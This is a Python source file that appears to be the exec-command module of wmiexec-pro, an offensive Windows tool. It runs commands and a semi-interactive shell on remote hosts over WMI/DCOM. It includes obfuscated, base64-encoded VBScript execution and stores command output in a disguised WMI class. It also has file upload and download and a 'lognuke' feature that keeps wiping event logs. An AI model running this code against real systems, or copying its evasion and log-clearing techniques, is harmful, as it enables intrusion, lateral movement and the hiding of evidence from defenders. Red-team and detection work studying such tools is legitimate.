Files
2026-04-26 14:05:44 +08:00

405 lines
18 KiB
Python

import uuid
import time
import base64
import os
import sys
import datetime
import cmd
import re
import logging
from lib.helpers import get_vbs
from lib.modules.filetransfer import filetransfer_Toolkit
from lib.methods.classMethodEx import class_MethodEx
from lib.methods.executeScript import executeScript_Toolkit
from lib.methods.Obfuscator import VBSObfuscator
from lib.module_base import ModuleBase
from impacket.dcerpc.v5.dtypes import NULL
class EXEC_COMMAND(ModuleBase):
name = "exec-command"
description = "Execute command in with/without output way."
@staticmethod
def register_parser(subparsers):
p = subparsers.add_parser(EXEC_COMMAND.name, help=EXEC_COMMAND.description)
p.add_argument("-shell", action="store_true", help="Launch a semi-interactive shell")
p.add_argument("-command", action="store", help="Specify command to execute")
p.add_argument("-old", action="store_true", help="Execute command for old system versio nunder NT6.")
p.add_argument("-silent", action="store_true", help="Command execute with output (default is no output)")
p.add_argument("-save", action="store_true", help="Save command output to file (not support silent mode)")
p.add_argument("-clear", action="store_true", help="Remove temporary class for command result storage")
return p
@staticmethod
def run(iWbemLevel1Login, dcom, options, **kwargs):
addr = kwargs.get("addr", "")
if options.shell:
try:
executer_Shell = EXEC_COMMAND_SHELL(iWbemLevel1Login, dcom, options.codec, addr)
executer_Shell.interval = options.timeout
executer_Shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger("wmiexec-pro").level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.getLogger("wmiexec-pro").error(str(e))
dcom.disconnect()
sys.exit(1)
else:
executer = EXEC_COMMAND(iWbemLevel1Login, options.codec)
executer.timeout = options.timeout
if options.command:
if options.silent:
executer.exec_command_silent(command=options.command, old=options.old)
else:
executer.exec_command_WithOutput(command=options.command, save_Result=options.save, hostname=addr, old=options.old)
if options.clear:
executer.clear()
def __init__(self, iWbemLevel1Login, codec):
self.iWbemLevel1Login = iWbemLevel1Login
self.codec = codec
self.timeout = 5
self.obfu = VBSObfuscator()
self.logger = logging.getLogger("wmiexec-pro")
self.logger_countdown = logging.getLogger("CountdownLogger")
def save_ToFile(self, hostname, content):
path = os.path.join("save", hostname)
save_FileName = f"{str(int(time.time()))}.txt"
if not os.path.exists(path):
os.makedirs(path, exist_ok=True)
result = os.path.join(path, save_FileName)
with open(result, "w") as f:
f.write(content)
self.logger.log(100, f"Save command result to {result}")
# For system under NT6, like windows server 2003
# Timer for countdown Win32_ScheduledJob, scheduled task in "Win32_ScheduledJob" only will be trigger every per minute.
def timer_For_UnderNT6(self, iWbemServices=None, return_iWbemServices=False):
if not iWbemServices:
iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
self.iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_LocalTime")
LocalTime = iEnumWbemClassObject.Next(0xffffffff,1)[0]
LocalTime = dict(LocalTime.getProperties())
# Get remaining seconds until the next minute.
for i in range((65 - int(LocalTime["Second"]["value"])),0,-1):
self.logger_countdown.info(f"Waiting {i}s for command execution.\r")
time.sleep(1)
self.logger.log(100, "Command executed!")
# Return cimv2
if return_iWbemServices:
return iWbemServices
# For system under NT6, like windows server 2003
def exec_command_silent_For_UnderNT6(self, command=None):
iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/Cimv2", NULL, NULL)
self.iWbemLevel1Login.RemRelease()
wql1 = "SELECT * FROM Win32_LocalTime"
wql2 = "SELECT * FROM Win32_TimeZone"
iEnumWbemClassObject = iWbemServices.ExecQuery(wql1)
Win32_LocalTime = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
Machine_Date = datetime.datetime(100, 1, 1, int(Win32_LocalTime.Hour), int(Win32_LocalTime.Minute), 00)
execute_time = (Machine_Date + datetime.timedelta(0, 60)).time() # Delay one miniute for command execution
iEnumWbemClassObject = iWbemServices.ExecQuery(wql2)
Win32_TimeZone = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
executeTime = "********{}.000000+{}".format(
str(execute_time).replace(":", ""),
str(Win32_TimeZone.Bias)
)
command = f"C:\\Windows\\System32\\cmd.exe /Q /c {command}"
Win32_ScheduledJob, resp = iWbemServices.GetObject("Win32_ScheduledJob")
result = Win32_ScheduledJob.Create(command, executeTime, 0, 0, 0, 1)
if int(result.ReturnValue) == 0:
self.logger.log(100, "Create schedule job for command execution successfully.")
else:
self.logger.error(f"Create schedule job for command execution error, code: {result.ReturnValue!s}")
self.timer_For_UnderNT6(iWbemServices)
def exec_command_silent(self, command, old=False):
if "'" in command:
command = command.replace("'", '"')
if old:
# Windows will auto remove job after schedule job executed.
self.exec_command_silent_For_UnderNT6(command)
else:
executer = executeScript_Toolkit(self.iWbemLevel1Login)
random_TaskName = str(uuid.uuid4())
self.logger.info("Executing command...(Sometime it will take a long time, please wait)")
vbs = get_vbs("Exec-Command-Silent.vbs")
vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_TASK", random_TaskName)
# Experimental: use timer instead of filter query
tag = executer.ExecuteScript(script_content=vbs, returnTag=True)
#filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
#tag = executer.ExecuteScript(script_content=vbs, filer_Query=filer_Query, returnTag=True)
# Wait 5 seconds for next step.
for i in range(self.timeout,0,-1):
self.logger_countdown.info(f"Waiting {i}s for next step.\r")
time.sleep(1)
executer.remove_Event(tag)
def exec_command_WithOutput(self, command, ClassName_StoreOutput=None, save_Result=False, hostname=None, old=False):
executer = executeScript_Toolkit(self.iWbemLevel1Login)
if not ClassName_StoreOutput:
ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
FileName = f"windows-object-{uuid.uuid4()!s}.log"
CMD_instanceID = str(uuid.uuid4())
random_TaskName = str(uuid.uuid4())
if "'" in command:
command = command.replace("'", '"')
# Reuse cimv2 namespace to avoid dcom limition
class_Method = class_MethodEx(self.iWbemLevel1Login)
iWbemServices_Reuse_cimv2, _ = class_Method.check_ClassStatus(ClassName=ClassName_StoreOutput, return_iWbemServices=True)
self.logger.info("Executing command...(Sometime it will take a long time, please wait)")
if old:
# Experimental: use timer instead of filter query
vbs = get_vbs("Exec-Command-WithOutput-UnderNT6.vbs")
vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID)
tag = executer.ExecuteScript(script_content=vbs, returnTag=True)
# Reuse cimv2
iWbemServices_Reuse_cimv2 = self.timer_For_UnderNT6(iWbemServices=iWbemServices_Reuse_cimv2, return_iWbemServices=True)
else:
# Experimental: use timer instead of filter query
vbs = get_vbs("Exec-Command-WithOutput.vbs")
vbs = vbs.replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName)
tag = executer.ExecuteScript(script_content=self.obfu.generator(vbs), returnTag=True)
#filer_Query = r"SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
#tag = executer.ExecuteScript(script_content=vbs, filer_Query=filer_Query, returnTag=True)
# Wait 5 seconds for next step.
for i in range(self.timeout,0,-1):
self.logger_countdown.info(f"Waiting {i}s for next step.\r")
time.sleep(1)
executer.remove_Event(tag)
try:
command_ResultObject, resp = iWbemServices_Reuse_cimv2.GetObject('{}.CreationClassName="{}"'.format(ClassName_StoreOutput, CMD_instanceID))
except Exception as e:
if "WBEM_E_INVALID_CLASS" in str(e):
self.logger.error(f"Class {ClassName_StoreOutput} didn't existed!")
elif "WBEM_E_NOT_FOUND" in str(e):
self.logger.error("Get command results failed, probably you may need to increase interval time.")
else:
self.logger.error(f"Unexpected error: {e!s}")
else:
self.logger.info("Retrieving command results...")
record = dict(command_ResultObject.getProperties())
result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace")
self.logger.log(100, result)
if save_Result and hostname:
self.save_ToFile(hostname, result)
def clear(self, ClassName_StoreOutput=None):
# Can't remote delete file via CIM_DataFile class, not thing happened after invoke Delete method of instance.
if not ClassName_StoreOutput:
ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
executer = executeScript_Toolkit(self.iWbemLevel1Login)
class_Method = class_MethodEx(self.iWbemLevel1Login)
self.logger.info("Cleanning temporary files and class.")
vbs = get_vbs("RemoveTempFile.vbs")
tag = executer.ExecuteScript(script_content=vbs, returnTag=True)
# Wait 5 seconds for next step.
for i in range(self.timeout,0,-1):
self.logger_countdown.info(f"Waiting {i}s for next step.\r")
time.sleep(1)
executer.remove_Event(tag)
class_Method.remove_Class(ClassName=ClassName_StoreOutput, return_iWbemServices_Cimv2=False)
class EXEC_COMMAND_SHELL(cmd.Cmd):
def __init__(self, iWbemLevel1Login, dcom, codec, addr):
cmd.Cmd.__init__(self)
self.iWbemLevel1Login = iWbemLevel1Login
self.dcom = dcom
self.codec = codec
self.hostname = addr
self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataBackup"
self.save_Path = os.path.join("save", self.hostname)
self.save_fileName = f"{int(time.time())!s}.txt"
self.logging = False
self.interval = 5
self.cwd = "C:\\Windows\\System32"
self.prompt = f"{self.cwd}>"
self.intro = "[!] Launching semi-interactive shell - Careful what you execute"
self.history = []
self.executer = executeScript_Toolkit(self.iWbemLevel1Login)
self.fileTransfer = filetransfer_Toolkit(self.iWbemLevel1Login, self.dcom)
self.obfu = VBSObfuscator()
self.logger = logging.getLogger("wmiexec-pro")
self.logger_countdown = logging.getLogger("CountdownLogger")
# Reuse cimv2 namespace to avoid dcom limition
class_Method = class_MethodEx(self.iWbemLevel1Login)
self.iWbemServices_Reuse_cimv2, self.iWbemServices_Reuse_subscription = class_Method.check_ClassStatus(self.ClassName_StoreOutput, return_iWbemServices=True)
def do_help(self, line):
print("""
sleep {seconds} - set interval time in command execution (default is 5 seconds).
lognuke - enable looping cleaning eventlog.
upload {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
download {src_file} - downloads pathname to the current local dir
logging - log everythings.
codec {code} - set encoding code
history - show history commands
clear - clean the screen
exit - exit.
""")
def do_upload(self, params):
import ntpath
params = params.split(" ")
if len(params) > 1:
src_file = params[0]
dst_path = params[1]
elif len(params) == 1:
src_file = params[0]
dst_path = self.cwd
filename = src_file.replace("\\", "/").split("/")[-1]
dst_file = ntpath.join(ntpath.join(self.cwd, dst_path), filename)
self.fileTransfer.uploadFile(src_File=src_file, dest_File=dst_file, iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2)
def do_download(self, src_file):
import ntpath
newPath = ntpath.normpath(ntpath.join(self.cwd, src_file))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
self.fileTransfer.downloadFile(target_File=newPath, save_Location=os.path.join(".", filename), iWbemServices_Subscription=self.iWbemServices_Reuse_subscription, iWbemServices_Cimv2=self.iWbemServices_Reuse_cimv2)
def do_sleep(self, seconds):
self.interval = int(seconds)
self.logger.info(f"Set interval time to: {self.interval!s}")
def do_lognuke(self, line):
self.executer.ExecuteScript(script_content=get_vbs("ClearEventlog.vbs"), iWbemServices=self.iWbemServices_Reuse_subscription)
self.logger.log(100, "Nuke is landed and log cleaning will never stop before use '-deep-clean' in 'execute-vbs' module")
def do_logging(self, line):
self.logger.info(f"Start logging and save the result to: {os.path.join(self.save_Path, self.save_fileName)}")
self.logging = True
def do_codec(self, line):
if all([line]):
self.codec = line
self.logger.log(100, f"Set encoding code to: {self.codec}")
else:
self.logger.info(f"Current encoding code: {self.codec}")
def do_history(self, line):
for i in range(0, len(self.history)):
print(f" {i+1!s} {self.history[i]}")
def do_clear(self, line):
os.system("clear")
def emptyline(self):
return False
def do_exit(self, line):
self.dcom.disconnect()
sys.exit(1)
def interval_Timer(self, seconds):
for i in range(seconds,0,-1):
self.logger_countdown.info(f"Waiting {i}s for next step.\r")
time.sleep(1)
self.logger.log(100, "Results:\n")
def save_ToFile(self, content):
if not os.path.exists(self.save_Path):
os.makedirs(self.save_Path, exist_ok=True)
with open(os.path.join(self.save_Path, self.save_fileName), "a+") as f:
f.write(content)
def process_Result(self, result, command):
tmp_list = re.split("\\[COMMAND\\]|\\[PATH\\]", result)
self.cwd = tmp_list[2].strip("\r\n").lstrip()
cmd_Result = tmp_list[1].strip("\r\n").lstrip()
self.prompt = f"{self.cwd}>"
print(f"{cmd_Result}\n")
if self.logging:
content = f"{self.prompt} {command}\r\n\r\n{cmd_Result}\r\n\r\n"
self.save_ToFile(content)
def default(self, line):
# history
self.history.append(line)
FileName = f"windows-object-{uuid.uuid4()!s}.log"
CMD_instanceID = str(uuid.uuid4())
random_TaskName = str(uuid.uuid4())
command = line
if "'" in command:
command = command.replace("'", '"')
vbs = get_vbs("Exec-Command-WithOutput-Shell.vbs")
vbs = vbs.replace("REPLACE_WITH_CWD", base64.b64encode(self.cwd.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", base64.b64encode(command.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_FILENAME", FileName).replace("REPLACE_WITH_CLASSNAME", self.ClassName_StoreOutput).replace("RELEACE_WITH_UUID", CMD_instanceID).replace("REPLACE_WITH_TASK", random_TaskName)
# Reuse subscription namespace to avoid dcom limition
vbs = self.obfu.generator(vbs)
if not self.iWbemServices_Reuse_subscription:
tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteScript(script_content=vbs, returnTag=True, BlockVerbose=True, return_iWbemServices=True)
else:
tag, self.iWbemServices_Reuse_subscription = self.executer.ExecuteScript(script_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription ,return_iWbemServices=True)
# Wait 5 seconds for next step.
self.interval_Timer(self.interval)
self.executer.remove_Event(tag, BlockVerbose=True, iWbemServices=self.iWbemServices_Reuse_subscription)
try:
command_ResultObject, resp = self.iWbemServices_Reuse_cimv2.GetObject(f'{self.ClassName_StoreOutput}.CreationClassName="{CMD_instanceID}"')
record = dict(command_ResultObject.getProperties())
except Exception as e:
if "WBEM_E_NOT_FOUND" in str(e):
self.logger.error("Get command results failed, probably you may need to increase interval time.")
else:
self.logger.error(f"Unknown error: {e!s}")
else:
result = base64.b64decode(record["DebugOptions"]["value"]).decode(self.codec, errors="replace")
self.process_Result(result, line)